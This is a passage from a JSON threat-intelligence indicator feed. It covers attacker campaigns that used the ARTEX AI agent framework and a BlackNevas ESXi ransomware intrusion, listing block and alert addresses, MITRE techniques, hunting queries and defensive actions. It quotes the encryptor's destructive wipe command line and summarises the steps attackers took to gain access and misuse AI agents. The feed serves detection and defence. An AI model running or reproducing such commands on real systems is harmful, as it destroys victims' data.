"https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "216.176.239.231", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Source address of ARTEX agent traffic in the campaign that stole AI model API keys and cloud credentials from exposed LLM gateways and AI app builders, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "212.107.28.51", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Source address of ARTEX agent traffic in the campaign that tried to bypass cryptocurrency exchange KYC checks with real-time deepfakes, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "103.142.140.158", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Source address of ARTEX agent traffic in the campaign that tried to bypass cryptocurrency exchange KYC checks with real-time deepfakes, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "104.28.251.98", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Source address of ARTEX agent traffic in the campaign that tried to bypass cryptocurrency exchange KYC checks with real-time deepfakes, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "104.28.251.99", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Source address of ARTEX agent traffic in the campaign that tried to bypass cryptocurrency exchange KYC checks with real-time deepfakes, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "104.28.219.97", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Source address of ARTEX agent traffic in the campaign that tried to bypass cryptocurrency exchange KYC checks with real-time deepfakes, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] }, { "value": "125.103.213.41", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Source address of ARTEX agent traffic in the campaign that tried to bypass cryptocurrency exchange KYC checks with real-time deepfakes, published by Amazon Threat Intelligence.", "source_url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "source_label": "Amazon Threat Intelligence – Threat actors running cybercrime campaigns with ARTEX AI agents", "source_name": "Amazon Threat Intelligence", "sources": [ { "url": "https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents/", "name": "Amazon Threat Intelligence" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/hunt.kql", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/hunt.spl", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/hunt_raw.spl", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass/hunt.yaral", "download": "ARTEX-AI-Gateway-Credential-Theft-and-Crypto-KYC-Deepfake-Bypass_hunt.yaral" } ] }, { "id": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure", "folder": "threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure", "name": "ARTEX Intrusions: South Korean Finance Operator and Storm-0940 ConnectWise Cloud Backup Access", "short": "ARTEX Korean finance and Storm-0940", "category": "Financially motivated and state-aligned intrusion / financial sector", "published": "2026-11-13", "entry_date": "2026-11-13 21:40", "last_updated": "2026-11-13", "seq": 52, "headline": "FBI FLASH on ARTEX: Korean-finance actor server and Storm-0940 ConnectWise sign-in addresses", "summary": "An FBI FLASH issued on 13 November 2026 warns that several actors are using ARTEX, an open-source LLM-driven penetration testing framework, against financial services, government, defence, energy, healthcare and other sectors, with some intrusions reaching privileged access in under three hours. It publishes infrastructure from two campaigns that were not yet in this feed. CrowdStrike reported on 7 October that a likely Chinese-speaking, financially motivated operator ran ARTEX from an actor-controlled server with an open directory (38.244.50.120) against South Korean financial organisations from late September to early October, stealing personal data; the FBI puts it at about 67,000 people. The operator reached DeepSeek through the LLM API reseller xcai.pro and worked through nine proxy addresses. Microsoft reported on 21 October that Storm-0940, a China-state-aligned actor, used ARTEX with stolen ConnectWise Cloud Backup application credentials to attempt more than 2,250 Microsoft 365 tenants, then ran Graph reconnaissance and changed application credentials and privileges. The actor server and the three Storm-0940 sign-in addresses are on the block list; the proxies, the VPN addresses and the reseller domain are alert only. The FBI FLASH also repeats the Storm-3358 ARTEX infrastructure already in this feed.", "caveat": "The FBI says these addresses are historically observed infrastructure that may be reassigned. The proxy addresses, the three Storm-0940 VPN addresses (15-16 October only) and xcai.pro are alert only and must not be blocked.", "targets": { "countries": [ { "code": "KR", "name": "South Korea" } ], "regions": [ "Asia" ], "sectors": [ "Financial services", "Government", "Technology", "Defence", "Energy", "Healthcare", "Manufacturing", "Telecommunications", "Legal" ], "note": "CrowdStrike and the FBI name South Korean financial organisations; the FBI and Microsoft list the other sectors targeted with ARTEX worldwide, including more than 2,250 Microsoft 365 tenants reached through ConnectWise Cloud Backup.", "source": { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "label": "FBI FLASH-20261113-001 – Threat Overview of ARTEX Autonomous Penetration Testing Framework", "name": "FBI IC3" } }, "mitre": [ { "id": "T1595", "name": "Active Scanning", "url": "https://attack.mitre.org/techniques/T1595/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1078.004", "name": "Cloud Accounts", "url": "https://attack.mitre.org/techniques/T1078/004/" }, { "id": "T1550.001", "name": "Application Access Token", "url": "https://attack.mitre.org/techniques/T1550/001/" }, { "id": "T1098.001", "name": "Additional Cloud Credentials", "url": "https://attack.mitre.org/techniques/T1098/001/" }, { "id": "T1087.004", "name": "Cloud Account Discovery", "url": "https://attack.mitre.org/techniques/T1087/004/" }, { "id": "T1090", "name": "Proxy", "url": "https://attack.mitre.org/techniques/T1090/" }, { "id": "T1041", "name": "Exfiltration Over C2 Channel", "url": "https://attack.mitre.org/techniques/T1041/" } ], "recommended_actions": [ "Block 38.244.50.120 and the three Storm-0940 addresses (144.172.64.60, .99, .128) at the perimeter and in Defender XDR, and search 30 days of firewall, proxy, web and Entra sign-in logs for every address in this entry.", "Review service principal sign-ins, application credential additions and role assignments from 15 October 2026 onward, especially for ConnectWise Cloud Backup apps, and follow ConnectWise's containment guidance.", "Alert on unexpected outbound connections to LLM API endpoints or resellers such as xcai.pro from servers that have no reason to use them.", "Watch public web portals (loan, broker and employee mobile systems) for high-rate sequential enumeration of login and search endpoints, and for bulk outbound transfers of structured personal data." ], "sources": [ { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "label": "FBI FLASH-20261113-001 – Threat Overview of ARTEX Autonomous Penetration Testing Framework", "name": "FBI IC3" }, { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "name": "CrowdStrike" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "label": "Microsoft Threat Intelligence – AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise", "name": "Microsoft" } ], "indicator_count": 17, "block_now_count": 4, "hunt_count": 13, "hunt_counts": { "alert": 13 }, "indicator_counts": { "ipv4": 16, "domain": 1 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/block_now.txt", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/defender_xdr_indicators.csv", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/hunt.kql", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/hunt.spl", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/hunt_raw.spl", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/hunt.yaral", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/iocs.csv", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure", "share_url": "https://iocwatch.com/t/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/", "indicators": [ { "value": "38.244.50.120", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Actor-controlled server that hosted the ARTEX instance and an open directory (port 18899) used against South Korean financial organisations; listed by CrowdStrike and the FBI.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "144.172.64.60", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Storm-0940 address used for sign-ins and Microsoft Graph activity in customer tenants through abused ConnectWise Cloud Backup application credentials.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "source_label": "Microsoft Threat Intelligence – AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "144.172.64.99", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Storm-0940 address used for sign-ins and Microsoft Graph activity in customer tenants through abused ConnectWise Cloud Backup application credentials.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "source_label": "Microsoft Threat Intelligence – AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "144.172.64.128", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Storm-0940 address used for sign-ins and Microsoft Graph activity in customer tenants through abused ConnectWise Cloud Backup application credentials.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "source_label": "Microsoft Threat Intelligence – AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "name": "Microsoft" }, { "url": "https://www.ic3.gov/CSA/2026/261113.pdf", "name": "FBI IC3" } ] }, { "value": "187.15.88.186", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Transient VPN address Storm-0940 used for Graph API access through compromised applications on 15-16 October 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "source_label": "Microsoft Threat Intelligence – AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "name": "Microsoft" } ] }, { "value": "187.15.90.217", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Transient VPN address Storm-0940 used for Graph API access through compromised applications on 15-16 October 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "source_label": "Microsoft Threat Intelligence – AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "name": "Microsoft" } ] }, { "value": "187.15.89.186", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Transient VPN address Storm-0940 used for Graph API access through compromised applications on 15-16 October 2026.", "source_url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "source_label": "Microsoft Threat Intelligence – AI-driven, large-scale nation-state campaign using ARTEX enables supply chain compromise", "source_name": "Microsoft", "sources": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/", "name": "Microsoft" } ] }, { "value": "101.53.80.20", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "205.214.59.31", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "124.155.252.63", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "154.201.79.246", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "23.248.249.90", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "23.158.220.98", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "103.248.148.84", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "203.160.133.172", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "209.209.85.38", "type": "ipv4", "confidence": "medium", "recommended_action": "alert", "description": "Proxy address the operator used during ARTEX activity against South Korean financial organisations, seen in recovered Claude Code session histories.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] }, { "value": "xcai.pro", "type": "domain", "confidence": "medium", "recommended_action": "alert", "description": "Likely LLM API proxy or reseller the operator used to reach DeepSeek for the ARTEX instance.", "source_url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "source_label": "CrowdStrike – Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", "source_name": "CrowdStrike", "sources": [ { "url": "https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/", "name": "CrowdStrike" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/hunt.kql", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/hunt.spl", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/hunt_raw.spl", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure/hunt.yaral", "download": "ARTEX-South-Korean-Finance-and-Storm-0940-ConnectWise-Infrastructure_hunt.yaral" } ] }, { "id": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse", "folder": "threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse", "name": "BlackNevas: Ransomware Wipes ESXi and vCenter Through Legitimate Management Features", "short": "BlackNevas ESXi ransomware", "category": "Ransomware / hypervisor", "published": "2026-11-13", "entry_date": "2026-11-13 20:22", "last_updated": "2026-11-13", "seq": 51, "headline": "Stolen admin credentials and vCenter Host Profiles used to open SSH on ESXi and wipe every VM and the backups", "summary": "Kaspersky GERT describes a 10-day BlackNevas intrusion that destroyed four ESXi hosts, every VM on them, both vCenter Server Appliances and the backup estate without exploiting any VMware flaw. The operator reused stolen admin credentials to log in to vCenter, installed MeshAgent and a Ligolo-ng tunnel disguised as the systemd service vmware-vdma, then used a Host Profile change to switch on SSH (TSM-SSH) on the ESXi hosts and connected from the trusted vCenter address. Backup services were stopped and the backup servers encrypted first. The encryptor was uploaded by SFTP to /tmp, test-run with /selftest about three hours early, then run as esx64 /p /vmfs/ /depth 5 /wipe /allsys /detach, stopping all VMs within 23 seconds.", "caveat": "Kaspersky calls these indicators incident-specific: service names, file names, the domain and the VPS addresses can change. No hash exists for the ESXi encryptor or the Ligolo-ng binary.", "targets": { "countries": [], "regions": [], "sectors": [], "note": "Kaspersky does not name the victim, its country or sector. Any organisation running ESXi and vCenter is in scope.", "source": { "url": "https://securelist.com/esxi-ransomware/121959/", "label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "name": "Kaspersky" } }, "mitre": [ { "id": "T1078.002", "name": "Domain Accounts", "url": "https://attack.mitre.org/techniques/T1078/002/" }, { "id": "T1021.004", "name": "SSH", "url": "https://attack.mitre.org/techniques/T1021/004/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" }, { "id": "T1543.002", "name": "Systemd Service", "url": "https://attack.mitre.org/techniques/T1543/002/" }, { "id": "T1572", "name": "Protocol Tunneling", "url": "https://attack.mitre.org/techniques/T1572/" }, { "id": "T1490", "name": "Inhibit System Recovery", "url": "https://attack.mitre.org/techniques/T1490/" }, { "id": "T1486", "name": "Data Encrypted for Impact", "url": "https://attack.mitre.org/techniques/T1486/" } ], "recommended_actions": [ "Block the five network indicators and the three file hashes, and search 30 days of firewall, proxy and DNS logs for them, including traffic from vCenter and backup servers.", "Alert on any executable run from /tmp on ESXi, on the vmware-vdma unit on a vCenter appliance, and on a vspbind Windows service.", "Alert when a Host Profile change enables TSM-SSH and an SSH session to the same host follows within 15 minutes.", "Treat vCenter as Tier 0: separate virtualisation and backup admin accounts from domain admins, forward ESXi and vCenter logs off-host, and keep execInstalledOnly on." ], "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "name": "Kaspersky" } ], "indicator_count": 8, "block_now_count": 8, "hunt_count": 0, "hunt_counts": {}, "indicator_counts": { "ipv4": 4, "sha256": 2, "domain": 1, "sha1": 1 }, "ioas": [ { "artefact": "An executable run from /tmp on an ESXi host with BlackNevas-style switches: /selftest, or /p /vmfs/ together with /wipe, /allsys or /detach", "log_source": "ESXi shell.log forwarded by syslog", "why": "Kaspersky saw the encryptor uploaded to /tmp, made executable, test-run with ./tmp/esx64 /selftest about three hours before detonation, then run as ./tmp/esx64 /p /vmfs/ /depth 5 /wipe /allsys /detach. The forward-slash switches match SentinelOne's BlackNevas notes. 